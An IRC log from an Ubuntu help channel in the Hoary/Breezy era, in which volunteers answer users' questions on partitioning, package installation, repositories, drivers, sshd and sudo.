[05:19] <adjacent> CarlFK: dont have any HD errors then.... or /var/log/syslog could consume your disk ;)
[05:19] <dwerf> apokryphos > so anything that is in /bin will be started in the shell by just typing it's name?
[05:19] <Bergcube> I plan to make one partition for swap, one for / one for /boot and one for /home.  I want to get as much space as possible left for /home.  So I wonder what "the rules" are for the rest......
[05:19] <dwerf> apokryphos > so anything that is in /usr/bin will be started in the shell by just typing it's name?
[05:20] <apokryphos> dwerf: /usr/bin/ for systemwide; ~/bin/ for you
[05:20] <dwerf> thanks
[05:20] <Hieronymus> Bergcube: swap rule-of-thumb is your RAM*2
[05:20] <Bergcube> adjacent~ I agree.  I've never really seen the point of putting /var on a separate part.
[05:20] <Hieronymus> Bergcube: like 512MB RAM*2=1024MB SWAP
[05:20] <stoeptegel> can somebody say why i get a kernel panic (can't find / patition) when i plugin my second sata harddisk?
[05:20] <Bergcube> Hieronymus~ I see.  Well, that's not much.  :-)
[05:21] <stoeptegel> typo -> partition
[05:21] <ollie> if I've got an nvidia geforce 5500, should it be auto-detected, when installing either hoary or breezy?
[05:21] <adjacent> Bergcube: /boot should be 500megs or so, /var should be a few gigs, / should be maybe 7-10gigs, swap is roughly twice your RAM, and /home can be the rest
[05:21] <CarlFK> Hieronymus - the swap rule only works if you only have as much ram as you need
[05:21] <Hieronymus> Bergcube: you want /boot to be a few hundred MB
[05:21] <dwerf> apokryphos > there doesn't seem to exist a ~/bin
[05:21] <ollie> I'm not sure reading the wiki whether I'd only need to anything to get better performance for 3-d
[05:21] <CarlFK> 500 meg for boot!! wow.  I have 30.
[05:21] <Hieronymus> CarlFK: well, it's a stupid rule, but there's nothing better, is there
[05:21] <apokryphos> dwerf: create it
[05:21] <Bergcube> adjacent~ Brilliant!
[05:21] <adjacent> Bergcube: its so your logs dont fill your disk and prevent you from manageing the box remotely
[05:21] <dwerf> ok
[05:22] <CarlFK> Hieronymus - better: let the distro do it for you.
[05:22] <Bergcube> Hieronymus~ Thanks a lot!
[05:22] <Bergcube> adjacent~ I see......
[05:22] <adjacent> CarlFK: yeh, depends on how many kernels you have, etc
[05:22] <adjacent> CarlFK: ive had tiny /boot parts on embedded systems, for example
[05:23] <CarlFK> adjacent - and now big your drive is.  over 1/2 my installs are on 5 year old boxes that have 3.5gig drives
[05:23] <adjacent> CarlFK: agreed. i think Bergcube was talking about a desktop system though
[05:23] <stoeptegel> it's boots fine when one disk pluged
[05:23] <Bergcube> adjacent~ I was.  :-)
[05:24] <jatos> hi
[05:24] <Hieronymus> jatos: hi
[05:24] <Bergcube> Thanks for your help and input, folks.  I'm off to re-install this computer.
[05:24] <CarlFK> we could talk about Bergcube's needs for an hour, and I would bet 10:1 that the default would work just as well
[05:25] <tdn> Is there a "Ubuntu way" of installing Eclipse (eclipse.org)? Or should I just download it from eclipse.org?
[05:25] <Hieronymus> !package eclipse
[05:25] <ubotu> Hieronymus: Are you smoking crack?
[05:25] <Bergcube> CarlFK~ You are probably right.  But I am a control freak.  And a computer consultant.  I want to KNOW what's going on.  I want to tweak and tickle with it.
[05:26] <apokryphos> Hieronymus: it's !info or !find :)
[05:26] <tdn> Hieronymus, well... are you? :)
[05:26] <tdn> !info eclipse
[05:26] <tdn> !find eclipse
[05:26] <ubotu> eclipse-nls-sdk: (localized message catalog for eclipse), section multiverse/devel, is optional. Version: 2.1.2.1-2 (hoary), Packaged size: 20924 kB, Installed size: 35976 kB
[05:26] <adjacent> CarlFK: k
[05:26] <Hieronymus> apokryphos: thanks
[05:26] <Hieronymus> tdn: http://packages.ubuntu.com/cgi-bin/search_packages.pl?keywords=eclipse&searchon=names&subword=1&version=all&release=all lists packages with 'eclipse' in it for Ubuntu
[05:26] <CarlFK> Bergcube - in this case, I don't think the time spent tweaking is worth it, so if you are charging for yout time, you are scamming your clients (imho)
[05:28] <CarlFK> damm, he left.  I feel bad.  so I'll respond for him: Bergcube: "I belive it is worth it, my customers are happy, and I give them enough extra help for free that it all works out"
[05:28] <CarlFK> there.  I feel better.
[05:29] <dwerf> when typing "ln mozilla-thunderbird /home/dwerf/Desktop/thun" I do not get a linked file, but an executable
[05:29] <tdn> Hieronymus, hmm... Yeah. But I'm not sure that answers my question.
[05:29] <adjacent> dwerf: ln -S
[05:29] <dwerf> how do i create an alias?
[05:29] <dwerf> ok
[05:29] <Hieronymus> tdn: the 'ubuntu way' of installing packages is using apt-get or a frontend for it (like the Synaptic package manager)
[05:29] <adjacent> dwerf: you want a symbolic link, not a file pointer to the same meory space
[05:30] <dwerf> adjecent > thanks
[05:30] <lexmark22> I just installed a deb package from the root.. how do I go about finding the application to launch? Gyach, thats the name of the app
[05:30] <Hieronymus> lexmark22: my guess: run 'gyach'
[05:30] <tdn> Hieronymus, yes. But there is appearently no such package. Could I use one from apt-get.org? Or is that a big No no in Ubuntu?
[05:30] <sorush20> are BeOS drivers the same as linux
[05:31] <lexmark22> nope.. apparently its not working
[05:31] <Hieronymus> tdn: I wouldn't do that, but you _can_
[05:31] <lexmark22> application could not be found
[05:31] <lapo> hi
[05:31] <lexmark22> it resides under /usr/bin right?
[05:32] <tdn> Hieronymus, what would you do then? Download Eclipse from eclipse.org+
[05:32] <Hieronymus> tdn: A good start would be to request for the package to be added to Ubuntu
[05:33] <Hieronymus> tdn: https://wiki.ubuntu.com/UniverseCandidates
[05:33] <wdh> sorush20, dont't think so
[05:33] <sorush20> wdh: can I use wine to install software for hardware and then to be able run that hardware..
[05:34] <Hieronymus> sorush20: I don't think so
[05:35] <Hieronymus> sorush20: BeOS is a complet different OS from GNU/Linux
[05:35] <wdh> sorush20, drivers are kernel-specific normally..
[05:35] <lexmark22> can I pm you Hieronymus?
[05:35] <Hieronymus> lexmark22: why?
[05:35] <lexmark22> just have a short log from the install of the deb
[05:35] <tdn> Hieronymus, No. I don't think that I will do that. From the page: `` you must have reviewed this package for known security vulnerabilities and provide patches for all of them'', I am not experienced enough to do that.
[05:35] <lexmark22> or is it ok to paste it here?
[05:36] <Hieronymus> tdn: that's if you want to actually _get_ it in Universe
[05:36] <Hieronymus> tdn: you can request that someone does it for you
[05:36] <wdh> lexmark22, try paste.ubuntulinux.nl
[05:36] <Hieronymus> lexmark22: paste in a pastebin, like wdh said
[05:36] <Hieronymus> lexmark22: paste the link to the pastebin here
[05:36] <lexmark22> ok will do
[05:36] <tdn> Hieronymus, how do I request that?
[05:36] <thux> Hi, howto make bootcd like boot floppy in hoary that can start without bootloader in mbr?
[05:37] <sorush20> I wana be able to capture films on to my linux system from a handy cam can someone help please.. can I use wine to install software for hardware and then to be able run that hardware..
[05:37] <CarlFK> thux - SMB
[05:37] <CarlFK> er
[05:37] <CarlFK> thux - SBM  (url comming...)
[05:37] <Hieronymus> tdn: you edit the list there, and add an entry for whatever package you want in Universe
[05:37] <lexmark22> actually, I have narrowed it down to 2 lines
[05:37] <lexmark22> Unpacking replacement gyach-enhanced-media-package ...
[05:37] <lexmark22> Setting up gyach-enhanced-media-package (0.2-2) ...
[05:37] <lexmark22> I get that after installing the deb
[05:38] <lexmark22> after that it goes to the root prompt
[05:38] <lexmark22> but I could not locate the file
[05:38] <tdn> Hieronymus, ok. But that doese not fix my problem right now. How would you recommend that I installed eclipse _now-?
[05:38] <Hieronymus> tdn: well, using a .deb is better than building from source. Try to see if Debian has Eclipse, else try apt-get.org
[05:38] <CarlFK> thux -hmm.. cant find the URL... before I spend too much time... do you want to boot something on a CD or HD?
[05:39] <thux> hd
[05:39] <tdn> Hieronymus, ok. Thanks.
[05:39] <thux> hoary on hd
[05:39] <Hieronymus> tdn: http://packages.ubuntu.com/cgi-bin/search_packages.pl?keywords=eclipse&searchon=names&subword=1&version=all&release=all
[05:39] <Hieronymus> tdn: http://packages.debian.org/cgi-bin/search_packages.pl?keywords=eclipse&searchon=names&subword=1&version=all&release=all
[05:39] <CarlFK> thux - ok - not sure if sbm will do what you need, but it is easy enough to try, and worth messing with it for 5 or 10 min just to learn what it does
[05:40] <thux> ok I try that, thanx
[05:40] <CarlFK> https://wiki.ubuntu.com/SmartBootManagerHowto
[05:40] <CarlFK> damm.
[05:40] <Hieronymus> CarlFK: ?
[05:41] <CarlFK> yes?
[05:42] <Hieronymus> CarlFK: why the "damn"?
[05:42] <CarlFK> cuz thux left right before I posted the URL
[05:43] <CarlFK> I have a logitech quickcam - any clue how to grab jpgs or some format of still image from it?
[05:44] <kamikazesponge> hello
[05:46] <CarlFK> and... how do I let a user (that isn't a sudoer) start/stop a dialup connection to the Net?
[05:46] <thoreauputic> CarlFK: add them to the dip and dialout groups
[05:46] <sorush20> how do I capture form a MiniDV media
[05:47] <CarlFK> thoreauputic - once added, what do they do to make the conection?
[05:47] <CarlFK> (I have gotten 3+ answers to this, so I want to know which to try now)
[05:47] <thoreauputic> CarlFK: depends on how you configured it - I used pppconfig, and use pon/poff for connection
[05:48] <thoreauputic> CarlFK: if you used the graphical method, right click the panel and select the dialup applet
[05:49] <CarlFK> thoreauputic - know of any GUI ways (I am setting up a box that some 7, 9 an 15 year old kids will use)
[05:49] <thoreauputic> CarlFK: see above re: applet
[05:49] <angasule> where can I get a list of supported hardware? I've been searching in the website, wiki, etc, and no luck
[05:49] <thoreauputic> CarlFK: my experience is that pppconfig works better than the network tools here
[05:50] <thoreauputic> CarlFK: if you are using pon/poff, you can make buttons as custom launchers for the commands
[05:50] <Hieronymus> angasule: https://wiki.ubuntu.com/HardwareSupport
[05:50] <CarlFK> thoreauputic - is "dialup applet" the "modem monitor" ?
[05:50] <angasule> thanks, Hieronymus
[05:51] <thoreauputic> CarlFK: I expect so - I'm in fluxbox atm so I can't check - try it and see
[05:52] <CarlFK> I did - "modem monitor" (which I think used to be modem lights) requires sudo even to just connect
[05:52] <ollie> is there a way to specify a video driver to use when installing or running the livecd?  I'm trying to figure out how to get my geforce 5500 detected.  or do I just do it after the fact?
[05:52] <thoreauputic> CarlFK: are your users in the groups I meantioned?
[05:52] <NoUse> ollie I don't think nvidia drivers can be included in the live CD due to licensing issues
[05:53] <thoreauputic> *mentioned
[05:53] <CarlFK> thoreauputic - ill try the pon/off way now - I keep avoiding it cuz I figured there was a gui thing hiding somewhere
[05:53] <CarlFK> thoreauputic... hmm, let me confirm the group thign.. brb
[05:53] <ollie> NoUse: but should it work at all?  the wiki page says to use synaptic to install the driver, but using synaptic would suggest x is running ;-)
[05:54] <Erillinen> Umm, is there way to make key shortcuts for launching programs?
[05:54] <thoreauputic> CarlFK: it's pretty straightforward (  sudo pppconfig  )
[05:54] <CarlFK> is there a shell command to display what groups a user is in?
[05:54] <Erillinen> Or how to configure them?
[05:54] <CarlFK> other than grep /etc/passwd
[05:54] <thoreauputic> CarlFK: id or groups
[05:55] <thoreauputic> CarlFK: as the user concerned, of course
[05:55] <Erillinen> Is there way to make shortcuts for programs?
[05:55] <CarlFK> Erillinen - yes.
[05:56] <CarlFK> Erillinen - right click the launcher bar
[05:56] <twibbler> can someone recommend which package to install to monitor and configure blue tooth devices such as mobile phone, pda, headset etc ... via a usb dongle ..
[05:56] <thoreauputic> CarlFK: I think he wants keyboard shortcuts
[05:56] <Erillinen> Yeah, keyboard shortcuts are what i ment.
[05:56] <Erillinen> I'm sorry for using wrong term.
[05:57] <CarlFK> twibbler - BT is cutting edge, so be ready for "fun"
[05:57] <CarlFK> oh yeah.. you did say "key" but I read too fast and missed it
[05:57] <AzCowboy> Can Someone help me with a simple bash script?  Or rather, the proper syntax for IF
[05:57] <NoUse> ollie yeah it should at least give you 2d functionality
[05:58] <twibbler> CarlFK: you mean BT package ?...
[05:58] <CarlFK> AzCowboy - http://www.tldp.org/LDP/abs/html/index.html (I hit that every few days )
[05:58] <ollie> NoUse: ok, thanks -- will file a bug
[05:58] <AzCowboy> Thanks, CarlFK.  That will help.
[05:58] <CarlFK> twibbler - yes - I only have a BT headset and have only looked at BT support for about 20 min...
[05:59] <twibbler> CarlFK: I see ... I have O2 headset .....
[05:59] <OneSeventeen> I'd like to set up multiple users on one Ubuntu machine, meaning like 4 monitors, 4 mice, 4 keyboards, 1 PC.  Are there any apps out there to do this?
[05:59] <Erillinen> So, does anyone know answer for my problem?
[06:00] <CarlFK> twibbler - not saying it wont' work, i just quickly decided I didn't have time.  I should really stop promicing friends that I will do things for them ;)
[06:00] <lexmark22> lol, its tough enough to get ubuntu working right on one machine
[06:01] <thoreauputic> OneSeventeen: it's possible, of course - but I think you would need a number of utilities to do it, and some configuration
[06:01] <twibbler> CarlFK: Are that old chestnut .... I have bluetooth manager installed and can find all the devices but configuring them looks very daunting after looking at google etc ...
[06:01] <topyli> Erillinen: in modern gnome there's no obvious way to define arbitrary commands to keys. you can do it in gconf-editor though
[06:01] <Fabse> what do i have to do to register a ttf font file with the font server (under breezy)
[06:01] <gigaclon> how can I kill and restart ALSA?
[06:02] <Erillinen> topyli: Ok, thanks, so I let it be.
[06:02] <thoreauputic> OneSeventeen: from memory, the getty program would be involved ( man getty)
[06:02] <topyli> Erillinen: that's the spirit :)
[06:03] <thoreauputic> gigaclon: sudo /etc/init.d/alsa restart
[06:03] <Erillinen> Dont want to break anything, took me enough effort to get this working at all :)
[06:03] <Desdinova> are there any caveats to installing ubuntu to a USB device?
[06:03] <Desdinova> or can I just have it plugged in and install to it as I would any other drive?
[06:04] <Fabse> what do i have to do to register a ttf font file with the font server (under breezy)
[06:05] <OneSeventeen> thoreauputic: thanks, I'll look into the getty thing
[06:05] <thoreauputic> Fabse: if it's the same as Hoary, type fonts:/// in the nautlus location bar
[06:05] <thoreauputic> Fabse: and drop the fonts there
[06:05] <Fabse> okay
[06:06] <thoreauputic> OneSeventeen: I think what you want is fairly complicated to set up - there's a company that does this with linux - forget the name
[06:07] <thoreauputic> OneSeventeen: google "multi monitor tty logins " or something, perhaps ( haven't tried it )
[06:08] <othernoob> free Opera today :) http://my.opera.com/community/party/reg.dml
[06:09] <Jester> Is there a package with 32 bits SDL libs ?
[06:10] <CarlFK> OneSeventeen - I have heard of that beging done with ubuntu - like 6+months ago, for free
[06:10] <thoreauputic> OneSeventeen: this might be something like it: http://www.ibiblio.org/pub/Linux/docs/HOWTO/other-formats/html_single/XFree-Local-multi-user-HOWTO.html
[06:11] <Erillinen> Has anyone had luck with Inprocomm IPN2220 - WLAN Card?
[06:11] <moogman> Hey all... Just installed Breezy on my laptop and I'm getting an "(EE) No devices detected." error. It is also loading the vmware svga driver, which I find a little strange... Any ideas?
[06:12] <jaje> hi
[06:12] <jaje> i have a problem
[06:12] <Erillinen> If anyone could help me I would be more than happy
[06:12] <CarlFK> moogman -  post details to http://bugzilla.ubuntu.com
[06:12] <jaje> when i tried to install Intel536EP driver
[06:12] <jaje> ubuntu said me:
[06:12] <jaje> Module precompile check
[06:12] <jaje> Current running kernel is: 2.6.10-5-386
[06:12] <jaje> pleas install kernel source
[06:12] <jaje> lib/modules ... autoconf.h does not exist
[06:13] <jaje> pleas install kernel source
[06:13] <jaje> what can I do to fix that ?????
[06:13] <moogman> CarlFK: Ok, thanks.
[06:13] <kemik> jaje:  apt get it
[06:13] <jaje> kemik: what?
[06:13] <kemik> !kernel-source
[06:13] <ubotu> kemik: NO SPEAKE ENLISH!
[06:13] <kemik> !kernelsource
[06:13] <ubotu> kemik: What?
[06:14] <kemik> arggh
[06:14] <thoreauputic> jaje:  sudo apt-get install linux-headers-$(uname -r)
[06:14] <kemik> thoreauputic triggers on the bot too ;)
[06:14] <jaje> i did it
[06:14] <Erillinen> Has anyone had luck with Inprocomm IPN2220 - WLAN Card? Didnt find anything with google.
[06:14] <jaje> what uname -r means?
[06:15] <thoreauputic> jaje: type it to see
[06:15] <CarlFK> jaje - man uname
[06:15] <thoreauputic> jaje: it identifies your kernel
[06:15] <Hieronymus> I'm looking for a graphical utility to manage LVM (Logical volume manager).
[06:15] <Hieronymus> Anyone know of such a thing?
[06:15] <jaje> thoreauputic: and your are sure that it will install autoconf.h ??
[06:16] <thoreauputic> jaje: the error you are getting suggests you need the kernel headers
[06:16] <Quincy_freal_is_> can someone help me log in as root
[06:16] <thoreauputic> jaje: so use the command I gave ( literally)
[06:16] <thoreauputic> !root
[06:16] <ubotu> it has been said that root is disabled in Ubuntu, you can read all about it on http://wiki.ubuntu.com/RootSudo
[06:16] <jaje> literally?
[06:17] <Arsonide> You use sudo for everything.
[06:17] <thoreauputic> jaje: sudo apt-get install linux-headers-$(uname -r)
[06:17] <CarlFK> apokryphos - I think it does somewhere in the setup - it just isn't big enough
[06:18] <thoreauputic> apokryphos: a big red flashing screen maybe :)
[06:18] <ubuntuguy> anyone: does anyone know how to turn on the sshd at boot time?
[06:18] <kemik> think is says so when adding the first user ?
[06:18] <darkheart> Where's the site w/ Ubuntu packages? Thought it was packages.ubuntulinux.org
[06:18] <kemik> if it doesnt, it really should :)
[06:18] <apokryphos> CarlFK: I must've missed it too
[06:18] <thoreauputic> ubuntuguy: it runs by default
[06:18] <apokryphos> thoreauputic: I'm thinking with little smilie pacman-men running about, definitely!
[06:18] <kemik> i'm even using sudo on my debian boxes now ;)
[06:19] <Quincy_freal_is_> ok...another question...when I try to access things like "Login screen setup" I get messages like "Child terminated with 1 status"
[06:19] <Arsonide> Is there a package tutorial somewhere? Everybody keeps telling me to get this package from different places and install it in different ways...I don't know if I'm installing the right thing, the right way, and after it's installed I don't know how to find it.
[06:19] <thoreauputic> !sources
[06:19] <ubotu> sources are at http://www.ubuntulinux.org/wiki/AddingRepositoriesHowto A list of official repositories can be found at http://paste.ubuntulinux.nl/969
[06:19] <ubuntuguy> thoreauputic: I'm getting connection refused?
[06:19] <apokryphos> Arsonide: of course that depends on what you're trying to install
[06:19] <kemik> Quincy_freal_is_:  exit status 1 usually means there's an error ;)
[06:19] <Arsonide> Say for instance I use synaptic to install freeciv, where did it go?
[06:19] <Arsonide> It says it finished successfully...but where is it? lol
[06:19] <apokryphos> !info freeciv
[06:19] <ubotu> freeciv: (transitional dummy package which can be safely removed), section universe/games, is optional. Version: 1.14.2-1 (hoary), Packaged size: 10 kB, Installed size: 40 kB
[06:19] <Quincy_freal_is_> I've been getting that for everything...how do I fix it?
[06:19] <apokryphos> Arsonide: it's in Universe.
[06:20] <thoreauputic> ubuntuguy: ps aux | grep ssh  on the server to see if it's running
[06:20] <Erillinen> !info Inprocomm IPN2220
[06:20] <apokryphos> Arsonide: it's probably in the menus somewhere
[06:20] <apokryphos> Arsonide: or, most likely you can do alt+f2 -> freeciv
[06:20] <thoreauputic> ubuntuguy: or just  pgrep sshd
[06:20] <Arsonide> where is universe
[06:20] <apokryphos> Arsonide: uncomment the line with "Universe" in it, in /etc/apt/sources.list
[06:21] <NoUse> !tell Arsonide about repositories
[06:21] <ubuntuguy> I'm only getting /usr/bin/ssh-agent
[06:21] <Arsonide> I messed up that file
[06:21] <apokryphos> Arsonide: you've already done that though if it said that it installed successfully
[06:21] <apokryphos> !sources
[06:21] <ubotu> sources are at http://www.ubuntulinux.org/wiki/AddingRepositoriesHowto A list of official repositories can be found at http://paste.ubuntulinux.nl/969
[06:21] <apokryphos> Arsonide: you can use the one there, then.
[06:21] <lancer285> hey guys, is there a way to tell Gnome Torrent which ports to use? I'm only getting abou 40Kb download
[06:21] <Arsonide> The sources.info, I copied a sample source.info into mine and everything went to hell.
[06:21] <Arsonide> That's the one I used, from the wiki.
[06:21] <apokryphos> lancer285: that app is useless :P
[06:21] <thoreauputic> ubuntuguy: have you installed openssh-server ? If not, do so
[06:22] <lancer285> apokryphos hehe, okay which do you reccomend??
[06:22] <apokryphos> Arsonide: use the one from the pastebin there
[06:22] <apokryphos> lancer285: Azureus or KTorrent
[06:22] <ubuntuguy> thoreauputic: can I do that with synaptic package manager?
[06:22] <lancer285> apok, thanks!
[06:22] <thoreauputic> ubuntuguy: sure
[06:23] <apokryphos> lancer285: there's ubuntu repositories for both, should you want them
[06:23] <thoreauputic> ubuntuguy: or just type  sudo apt-get install openssh-server
[06:23] <lancer285> apok, yeah I was about to ask for that.
[06:23] <__filip_> what is the big diffrent between debbian and ubuntu? i am running ubuntu now and wonder to change to debian bacause that is the orginall? so what is better in ubuntu?
[06:23] <apokryphos> ubotu: tell lancer285 about hoary-extras
[06:24] <apokryphos> ubotu: tell lancer285 about ktorrent
[06:24] <funkyHat> what do i need to install go get amarok to support wma?
[06:24] <apokryphos> lancer285: azureus is in hoary-extras
[06:24] <lancer285> sweet, thanks Apok (:
[06:25] <ubuntuguy> thoreauputic: thanks synaptic is working
[06:25] <Erillinen> Does anyone know how to solve WLAN problems with ubuntu? Or where to start?
[06:25] <Arsonide> ok I used the one from the pastebin, I forgot the command to update/install stuff
[06:25] <Arsonide> sudo apt-install (something here)
[06:25] <apokryphos> Arsonide: to refresh apt with the new sources: sudo apt-get update
[06:25] <thoreauputic> ubuntuguy: you should find sshd will be running after installation - pgrep sshd should show a number
[06:26] <apokryphos> to install an application sudo apt-get install {somepackage}
[06:26] <kemik> __filip_:  better community
[06:26] <h0sl3r> When I install Ubuntu on a computer using an AMD Athalon 2600 processor, are there any special amd packages I should install on it?
[06:26] <apokryphos> or just use Synaptic, Arsonide, to do both of thsoe.
[06:26] <__filip_> kemik: is that all ?
[06:26] <apokryphos> h0sl3r: AMD-specific kernel
[06:26] <kemik> h0sl3r:  no, not really
[06:26] <apokryphos> h0sl3r: the k7 one
[06:26] <Arsonide> ok now what's the command to get w32codecs using apt?
[06:26] <ubuntuguy> thoreauputic: yes it is, thank you
[06:26] <h0sl3r> ok
[06:26] <Arsonide> (it finished)
[06:26] <jatos> hi
[06:26] <apokryphos> Arsonide: if you've enabled hoary-extras, then you can get it from Synaptic.
[06:26] <thoreauputic> ubuntuguy: no problem - enjoy :)
[06:27] <kemik> __filip_:  no,  but that's an important factor
[06:27] <Arsonide> I see, so apt controls synaptic availability? Cause it wasn't in there earlier.
[06:27] <apokryphos> Arsonide: kind of. Synaptic is just a GUI front-end to APT.
[06:28] <h0sl3r> Whats better for mpd server FreeBSD or Ubuntu?
[06:28] <thoreauputic> Arsonide: synaptic is just a pretty front-end for apt :)
[06:28] <Arsonide> When I started synaptic it's asking me to reload my package info.
[06:28] <apokryphos> Arsonide: you can refresh the sources etc from Synaptic, too.
[06:28] <apokryphos> sure
[06:28] <Arsonide> Do it?
[06:28] <thoreauputic> Arsonide: yes
[06:28] <apokryphos> thoreauputic: pretty? ;-)
[06:28] <lancer285> Apokryphos: I got it! thank you very much.
[06:28] <apokryphos> cool =)
[06:28] <Arsonide> Alright, thanks for the answers - I know I have a lot of questions :P
[06:28] <thoreauputic> apokryphos: well, I was tongue-in-cheek ;)
[06:28] <kevko> i tried to install one driver but ubuntu said: unknown distribution. no boot scripts installed
[06:29] <kevko> how can I fix that ???
[06:29] <paganini> Hiya
[06:29] <apokryphos> Arsonide: no worries; we're here to help :)
[06:29] <paganini> I have a question about modems.
[06:29] <Arsonide> I search synaptic for "w32" now and the only thing that comes up is mingw32 and it's stuff.
[06:29] <Arsonide> No w32codecs
[06:29] <NoUse> kevko where did you get that driver?
[06:29] <__filip_> kemik: more then? when i ask in #debian thay sad you only take debian and put in GNOME and some more thinks, so like i see it there is no big diffrent, right?
[06:29] <apokryphos> lancer285: as a note, you can use <tab> for autocompletion of nicks in IRC>
[06:30] <thoreauputic> Arsonide: you need hoary-extras
[06:30] <paganini> I have a SmartLink software modem. It's supposed to be supported, but the driver installation process isn't doing what it's supposed to.
[06:30] <paganini> I've tried two ways:
[06:30] <chrismy> could anyone tell me how could i check what is my graphics card driver's version?
[06:30] <Arsonide> I search for hoary and nothing comes up either.
[06:30] <apokryphos> Arsonide: you need to add the hoary-extras *repository*
[06:30] <paganini> 1 - I downloaded the smartlink driver packages using Synaptic.
[06:30] <apokryphos> Arsonide: either put it into sources.list or enter it in Synaptic
[06:30] <lancer285> apok, when I hit tab, it selects the items under the chat bar
[06:30] <paganini> 2 - I downloaded the driver sources from SmartLink and compiled them by hand.
[06:30] <thoreauputic> apokryphos: beat me to it :)
[06:30] <Arsonide> Oh, I thought I did that...OH I see it's commented out.
[06:30] <grivell> __filip_: Ubuntu has a more formal "TODO" list than Debian.  And better community ;)
[06:30] <apokryphos> ubotu: tell Arsonide about hoary-extras
[06:30] <kemik> __filip_:  on the outside there' not much else... but you'll have to ask someone else about the more technical changes
[06:30] <paganini> In both cases, the problem is that the /dev/ttySL0 device isn't created.
[06:31] <kemik> __filip_:  i dont really see a point in "going back" to debian tho if you got ubuntu installed now
[06:31] <paganini> the symlink /dev/modem that points to /dev/ttySL0 is created. But ttySL0 itself is not there.
[06:31] <apokryphos> lancer285: for example, type apok-<tab>
[06:31] <kevko> NoUse: http://www.ubuntulinux.org/wiki/IntelFiveThreeSixEPModemHowto/
[06:31] <paganini> Has anyone run into this before? If so, were you able to fix it?
[06:32] <lancer285> apok: yeah, it moves my cursor out. I'm using X-chat. Maybe theres an option for it
[06:32] <h0sl3r> Whats better for mpd server FreeBSD or Ubuntu?
[06:32] <grivell> __filip_: Put it this way.  I am use to Debian and have zero problems with it.  So I am not changing what works.  But if I did, Ubuntu would be what I changed to.  (I followed you here from #debian just to see what you would say here).
[06:32] <Arsonide> Alright, I uncommented hoary-extras, updated manually, reloaded in synaptic, and still no w32codecs.
[06:33] <__filip_> grivell: okej i think i will put Debian in my laptop.
[06:33] <lancer285> apokryphos, no big deal. I'll play around with it. thanks
[06:33] <EasterSunshine> i have a problem with dvorak keyboard layout, it works in console and gnome, but not in the welcome screen
[06:33] <lancer285> Easter
[06:33] <thoreauputic> Arsonide: possibly the backports URL has problems
[06:33] <grivell> __filip_: I think you missed the point.  You already have Ubuntu installed ;)
[06:34] <EasterSunshine> so i think i didn't apply it to X, only to gnome...
[06:34] <lancer285> Easter in your xorg.conf file change the keyboard layout to dvorak instead of US
[06:34] <Arsonide> thoreauputic: Something I can't fix?
[06:34] <EasterSunshine> lancer285, let me try that
[06:34] <lancer285> kent, lemme know. I had the same prob
[06:34] <thoreauputic> Arsonide: are you using this? deb http://ubuntu-backports.mirrormax.net/ hoary-extras main universe multiverse restricted
[06:35] <Arsonide> let me check, sec
[06:35] <__filip_> grivell: yes but i will but Debian on my laptop and see if there is some big diffrent.
[06:35] <thoreauputic> Arsonide: I think the mirrormax url is having issues
[06:35] <funkyHat> is it possible to make amaroK play wma?
[06:35] <Arsonide> yes it's mirrormax.net
[06:35] <Arsonide> ubuntu-backports.mirrormax.net
[06:35] <grivell> __filip_:  Ok.
[06:35] <kent> lancer285, talking to me?
[06:35] <Arsonide> Is there a mirror?
[06:35] <grivell> funkyHat: Which engine?  Xine, Arts, Gstreamer?
[06:36] <lancer285> kent, no, for some reason I typed 'kent' instead of 'okay'
[06:36] <thrush> __filip_, why not create two partitions install both that way you always have a spare partition to play with new OSs
[06:36] <thoreauputic> Arsonide: http://backports.ubuntuforums.org/url.php
[06:36] <kent> lancer285, it can happen easely :)
[06:36] <lancer285> kent (:
[06:36] <funkyHat> grivell, ? i have kde sound system set up to use alsa
[06:36] <thoreauputic> Arsonide: mirrors there (listed)
[06:36] <EasterSunshine> lancer285, Option	"XkbLayout" "dvorak" <-- is that sufficient? i don't need like dvorakus or something?
[06:37] <kevko> NoUse: i got that driver from: http://www.ubuntulinux.org/wiki/IntelFiveThreeSixEPModemHowto/
[06:37] <grivell> funkyHat: I mean, Amarok can use arts, gstreamer, or xine.  I think default on Ubuntu is arts.  Which I don't think has wma?  Not sure.
[06:37] <thoreauputic> Arsonide: try one of the "other" mirrors
[06:37] <oceandead> whats up with mirrormax ?
[06:37] <Arsonide> I am going to try planetmirror
[06:37] <lancer285> easter lemme check mine and I'll let you know
[06:37] <kevko> NoUse: i got that driver from: http://www.ubuntulinux.org/wiki/IntelFiveThreeSixEPModemHowto/
[06:37] <Arsonide> that's in australia right?
[06:37] <funkyHat> grivell, arts doesn't work here at all...
[06:37] <grivell> funkyHat: But if you switch to xine or gstreamer backend of Amarok, it might have it.
[06:37] <__filip_> thrush: i dont have that much place on my harddrive, i have an partition on 2,5 GB there i have install Puppy.
[06:37] <Quincy_freal_is_> how do I add my user to the "Sudoers" list?
[06:38] <funkyHat> the options for engine are           (blank) and <no engine>
[06:38] <lancer285> Easter: Option		"XkbLayout"	"dvorak"
[06:38] <funkyHat> :S
[06:38] <oceandead> entered in middle of that - curious since thats the one i use for backports as well
[06:38] <Arsonide> awesome that did it
[06:38] <tommi^> Hi. My cable modem connection breaks every now and then, maybe after few hours. I've set the echo-requests to a bit higher count so according to /var/log/messages the reason for connection termination is "No response to 20 echo-requests". What can I do to fix this?
[06:38] <__filip_> nextly never run it.
[06:38] <grivell> funkyHat: I disable arts upon install of kde.  I hate it.  Nothing but a resource hog.  I love xine backend for amarok.  And alsa+dmix.
[06:38] <kevko> i tried to install one driver but ubuntu said: unknown distribution. no boot scripts installed
 how can I fix that ???
[06:38] <kevko> i tried to install one driver but ubuntu said: unknown distribution. no boot scripts installed
 how can I fix that ???
[06:38] <EasterSunshine> lancer285, thx, i'll cross my fingers next time i start X
[06:38] <lancer285> Easter when you restart X, it'll ask you if you want to use the layout specified by X or the one by Gnome
[06:38] <Quincy_freal_is_> anyone...how do I edit the Sudoers list?
[06:38] <kevko>  i tried to install one driver but ubuntu said: unknown distribution. no boot scripts installed
[06:38] <lancer285> Easter: make sure you select the one specified by X
[06:38] <kevko> how can I fix that ???
[06:38] <EasterSunshine> lancer285, took me forever to get my password correct ^_^
[06:39] <funkyHat> i have alsa 1.0.9b (automatic dmix config:)) but i don't seem to have any options for amaroK backend...
[06:39] <Arsonide> Still not there after I updated with Planetmirror.
[06:39] <lancer285> eastr, I know what you mean (: the gnome dvorak layout is missing some keys. I couldn't find the |
[06:39] <Arsonide> It did download something.
[06:39] <kevko> CAN SOMEBODU HELP ME ?????????????!??
